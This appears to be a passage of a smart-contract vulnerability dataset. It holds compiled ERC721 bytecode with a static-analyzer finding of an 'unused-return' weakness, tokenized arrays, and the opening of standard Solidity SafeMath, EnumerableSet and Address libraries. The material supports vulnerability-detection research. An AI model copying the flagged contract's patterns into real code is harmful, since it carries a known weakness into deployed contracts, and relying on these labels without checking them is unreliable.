ffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612611565b600190505b949350505050565b60606000600d805461262a90614319565b905011156126c457600d805461263f90614319565b80601f016020809104026020016040519081016040528092919081815260200182805461266b90614319565b80156126b85780601f1061268d576101008083540402835291602001916126b8565b820191906000526020600020905b81548152906001019060200180831161269b57829003601f168201915b505050505090506126cf565b6126cc612a62565b90505b90565b60606126dd826114f0565b61271c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271390613f3c565b60405180910390fd5b6000612726612619565b905060008151116127465760405180602001604052806000815250612771565b8061275084612a79565b604051602001612761929190613bfd565b6040516020818303038152906040525b915050919050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480612820575061281f82612bda565b5b9050919050565b612832838383612cbc565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128755761287081612cc1565b6128b4565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146128b3576128b28382612d0a565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128f7576128f281612e77565b612936565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612935576129348282612f48565b5b5b505050565b60008083600101600084815260200190815260200160002054905060008114612a4357600060018261296d91906141fb565b905060006001866000018054905061298591906141fb565b90508181146129f45760008660000182815481106129a6576129a56144b2565b5b90600052602060002001549050808760000184815481106129ca576129c96144b2565b5b90600052602060002001819055508387600101600083815260200190815260200160002081905550505b85600001805480612a0857612a07614483565b5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050612a49565b60009150505b92915050565b600080823b905060008111915050919050565b606060405180602001604052806000815250905090565b60606000821415612ac1576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612bd5565b600082905060005b60008214612af3578080612adc9061437c565b915050600a82612aec9190614170565b9150612ac9565b60008167ffffffffffffffff811115612b0f57612b0e6144e1565b5b6040519080825280601f01601f191660200182016040528015612b415781602001600182028036833780820191505090505b5090505b60008514612bce57600182612b5a91906141fb565b9150600a85612b6991906143c5565b6030612b75919061411a565b60f81b818381518110612b8b57612b8a6144b2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612bc79190614170565b9450612b45565b8093505050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480612ca557507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80612cb55750612cb482612fc7565b5b9050919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001612d1784610db2565b612d2191906141fb565b9050600060076000848152602001908152602001600020549050818114612e06576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612e8b91906141fb565b9050600060096000848152602001908152602001600020549050600060088381548110612ebb57612eba6144b2565b5b906000526020600020015490508060088381548110612edd57612edc6144b2565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612f2c57612f2b614483565b5b6001900381819060005260206000200160009055905550505050565b6000612f5383610db2565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b82805461303d90614319565b90600052602060002090601f01602090048101928261305f57600085556130a6565b82601f1061307857805160ff19168380011785556130a6565b828001600101855582156130a6579182015b828111156130a557825182559160200191906001019061308a565b5b5090506130b391906130b7565b5090565b5b808211156130d05760008160009055506001016130b8565b5090565b60006130e76130e28461403c565b614017565b9050828152602081018484840111156131035761310261451f565b5b61310e8482856142ad565b509392505050565b60006131296131248461406d565b614017565b9050828152602081018484840111156131455761314461451f565b5b6131508482856142ad565b509392505050565b600061316b6131668461406d565b614017565b9050828152602081018484840111156131875761318661451f565b5b6131928482856142bc565b509392505050565b6000813590506131a981614bc3565b92915050565b6000813590506131be81614bda565b92915050565b6000813590506131d381614bf1565b92915050565b6000813590506131e881614c08565b92915050565b6000815190506131fd81614c08565b92915050565b60008083601f84011261321957613218614515565b5b8235905067ffffffffffffffff81111561323657613235614510565b5b6020830191508360018202830111156132525761325161451a565b5b9250929050565b600082601f83011261326e5761326d614515565b5b813561327e8482602086016130d4565b91505092915050565b600082601f83011261329c5761329b614515565b5b81356132ac848260208601613116565b91505092915050565b600082601f8301126132ca576132c9614515565b5b81516132da848260208601613158565b91505092915050565b6000813590506132f281614c1f565b92915050565b60006020828403121561330e5761330d614529565b5b600061331c8482850161319a565b91505092915050565b6000806040838503121561333c5761333b614529565b5b600061334a8582860161319a565b925050602061335b8582860161319a565b9150509250929050565b60008060006060848603121561337e5761337d614529565b5b600061338c8682870161319a565b935050602061339d8682870161319a565b92505060406133ae868287016132e3565b9150509250925092565b600080600080608085870312156133d2576133d1614529565b5b60006133e08782880161319a565b94505060206133f18782880161319a565b9350506040613402878288016132e3565b925050606085013567ffffffffffffffff81111561342357613422614524565b5b61342f87828801613259565b91505092959194509250565b6000806040838503121561345257613451614529565b5b60006134608582860161319a565b9250506020613471858286016131af565b9150509250929050565b6000806040838503121561349257613491614529565b5b60006134a08582860161319a565b92505060206134b1858286016132e3565b9150509250929050565b600080600080606085870312156134d5576134d4614529565b5b60006134e38782880161319a565b94505060206134f4878288016132e3565b935050604085013567ffffffffffffffff81111561351557613514614524565b5b61352187828801613203565b925092505092959194509250565b60006020828403121561354557613544614529565b5b6000613553848285016131c4565b91505092915050565b6000806040838503121561357357613572614529565b5b6000613581858286016131c4565b92505060206135928582860161319a565b9150509250929050565b600080604083850312156135b3576135b2614529565b5b60006135c1858286016131c4565b92505060206135d2858286016132e3565b9150509250929050565b6000602082840312156135f2576135f1614529565b5b6000613600848285016131d9565b91505092915050565b60006020828403121561361f5761361e614529565b5b600061362d848285016131ee565b91505092915050565b60006020828403121561364c5761364b614529565b5b600082013567ffffffffffffffff81111561366a57613669614524565b5b61367684828501613287565b91505092915050565b60006020828403121561369557613694614529565b5b600082015167ffffffffffffffff8111156136b3576136b2614524565b5b6136bf848285016132b5565b91505092915050565b6000602082840312156136de576136dd614529565b5b60006136ec848285016132e3565b91505092915050565b6000806040838503121561370c5761370b614529565b5b600061371a858286016132e3565b925050602083013567ffffffffffffffff81111561373b5761373a614524565b5b61374785828601613287565b9150509250929050565b600061375d8383613bdf565b60208301905092915050565b6137728161422f565b82525050565b6000613783826140ae565b61378d81856140dc565b93506137988361409e565b8060005b838110156137c95781516137b08882613751565b97506137bb836140cf565b92505060018101905061379c565b5085935050505092915050565b6137df81614241565b82525050565b6137ee8161424d565b82525050565b60006137ff826140b9565b61380981856140ed565b93506138198185602086016142bc565b6138228161452e565b840191505092915050565b6000613838826140c4565b61384281856140fe565b93506138528185602086016142bc565b61385b8161452e565b840191505092915050565b6000613871826140c4565b61387b818561410f565b935061388b8185602086016142bc565b80840191505092915050565b60006138a46020836140fe565b91506138af8261453f565b602082019050919050565b60006138c7602b836140fe565b91506138d282614568565b604082019050919050565b60006138ea6032836140fe565b91506138f5826145b7565b604082019050919050565b600061390d601c836140fe565b915061391882614606565b602082019050919050565b60006139306024836140fe565b915061393b8261462f565b604082019050919050565b60006139536019836140fe565b915061395e8261467e565b602082019050919050565b60006139766039836140fe565b9150613981826146a7565b604082019050919050565b6000613999602c836140fe565b91506139a4826146f6565b604082019050919050565b60006139bc6038836140fe565b91506139c782614745565b604082019050919050565b60006139df602a836140fe565b91506139ea82614794565b604082019050919050565b6000613a026029836140fe565b9150613a0d826147e3565b604082019050919050565b6000613a25602e836140fe565b9150613a3082614832565b604082019050919050565b6000613a486020836140fe565b9150613a5382614881565b602082019050919050565b6000613a6b6031836140fe565b9150613a76826148aa565b604082019050919050565b6000613a8e602c836140fe565b9150613a99826148f9565b604082019050919050565b6000613ab16029836140fe565b9150613abc82614948565b604082019050919050565b6000613ad4602f836140fe565b9150613adf82614997565b604082019050919050565b6000613af76021836140fe565b9150613b02826149e6565b604082019050919050565b6000613b1a6031836140fe565b9150613b2582614a35565b604082019050919050565b6000613b3d602c836140fe565b9150613b4882614a84565b604082019050919050565b6000613b6060178361410f565b9150613b6b82614ad3565b601782019050919050565b6000613b836022836140fe565b9150613b8e82614afc565b604082019050919050565b6000613ba660118361410f565b9150613bb182614b4b565b601182019050919050565b6000613bc9602f836140fe565b9150613bd482614b74565b604082019050919050565b613be8816142a3565b82525050565b613bf7816142a3565b82525050565b6000613c098285613866565b9150613c158284613866565b91508190509392505050565b6000613c2c82613b53565b9150613c388285613866565b9150613c4382613b99565b9150613c4f8284613866565b91508190509392505050565b6000602082019050613c706000830184613769565b92915050565b6000608082019050613c8b6000830187613769565b613c986020830186613769565b613ca56040830185613bee565b8181036060830152613cb781846137f4565b905095945050505050565b60006020820190508181036000830152613cdc8184613778565b905092915050565b6000602082019050613cf960008301846137d6565b92915050565b6000602082019050613d1460008301846137e5565b92915050565b60006020820190508181036000830152613d34818461382d565b905092915050565b60006020820190508181036000830152613d5581613897565b9050919050565b60006020820190508181036000830152613d75816138ba565b9050919050565b60006020820190508181036000830152613d95816138dd565b9050919050565b60006020820190508181036000830152613db581613900565b9050919050565b60006020820190508181036000830152613dd581613923565b9050919050565b60006020820190508181036000830152613df581613946565b9050919050565b60006020820190508181036000830152613e1581613969565b9050919050565b60006020820190508181036000830152613e358161398c565b9050919050565b60006020820190508181036000830152613e55816139af565b9050919050565b60006020820190508181036000830152613e75816139d2565b9050919050565b60006020820190508181036000830152613e95816139f5565b9050919050565b60006020820190508181036000830152613eb581613a18565b9050919050565b60006020820190508181036000830152613ed581613a3b565b9050919050565b60006020820190508181036000830152613ef581613a5e565b9050919050565b60006020820190508181036000830152613f1581613a81565b9050919050565b60006020820190508181036000830152613f3581613aa4565b9050919050565b60006020820190508181036000830152613f5581613ac7565b9050919050565b60006020820190508181036000830152613f7581613aea565b9050919050565b60006020820190508181036000830152613f9581613b0d565b9050919050565b60006020820190508181036000830152613fb581613b30565b9050919050565b60006020820190508181036000830152613fd581613b76565b9050919050565b60006020820190508181036000830152613ff581613bbc565b9050919050565b60006020820190506140116000830184613bee565b92915050565b6000614021614032565b905061402d828261434b565b919050565b6000604051905090565b600067ffffffffffffffff821115614057576140566144e1565b5b6140608261452e565b9050602081019050919050565b600067ffffffffffffffff821115614088576140876144e1565b5b6140918261452e565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000614125826142a3565b9150614130836142a3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614165576141646143f6565b5b828201905092915050565b600061417b826142a3565b9150614186836142a3565b92508261419657614195614425565b5b828204905092915050565b60006141ac826142a3565b91506141b7836142a3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156141f0576141ef6143f6565b5b828202905092915050565b6000614206826142a3565b9150614211836142a3565b925082821015614224576142236143f6565b5b828203905092915050565b600061423a82614283565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156142da5780820151818401526020810190506142bf565b838111156142e9576000848401525b50505050565b60006142fa826142a3565b9150600082141561430e5761430d6143f6565b5b600182039050919050565b6000600282049050600182168061433157607f821691505b6020821081141561434557614344614454565b5b50919050565b6143548261452e565b810181811067ffffffffffffffff82111715614373576143726144e1565b5b80604052505050565b6000614387826142a3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143ba576143b96143f6565b5b600182019050919050565b60006143d0826142a3565b91506143db836142a3565b9250826143eb576143ea614425565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f5472616e736163746f72526f6c65436f6e74726f6c3a2043616c6c657220646f60008201527f65736e27742068617665207472616e736163746f72526f6c6500000000000000602082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60008201527f6578697374656e7420746f6b656e000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f45524337323155524953746f726167653a2055524920717565727920666f722060008201527f6e6f6e6578697374656e7420746f6b656e000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b7f54686520616464726573732063616e6e6f742062652061206e756c6c2076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b614bcc8161422f565b8114614bd757600080fd5b50565b614be381614241565b8114614bee57600080fd5b50565b614bfa8161424d565b8114614c0557600080fd5b50565b614c1181614257565b8114614c1c57600080fd5b50565b614c28816142a3565b8114614c3357600080fd5b5056fea2646970667358221220fb24bca91fbe2dd448dfec22bba53de111cac4a6cd79d1c8eadd4745a60b97b764736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2683,
26224,
2094,
2475,
11057,
2094,
2549,
2050,
23499,
19961,
19317,
2629,
2063,
2509,
2098,
2475,
2094,
22394,
2620,
2581,
2050,
21472,
7011,
18139,
2581,
17465,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1030,
1018,
1012,
1018,
1012,
1015,
1013,
21183,
12146,
1013,
2358,
6820,
16649,
1013,
4372,
17897,
16670,
13462,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
2358,
6820,
16649,
1013,
4372,
17897,
16670,
13462,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3075,
2005,
6605,
1008,
16770,
1024,
1013,
1013,
4372,
1012,
16948,
1012,
8917,
1013,
15536,
3211,
1013,
2275,
1035,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,566 | 0x9559aaa82d9649c7a7b220e7c461d2e74c9a3593 | pragma solidity 0.6.12;
// SPDX-License-Identifier: GPL-3.0-only
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
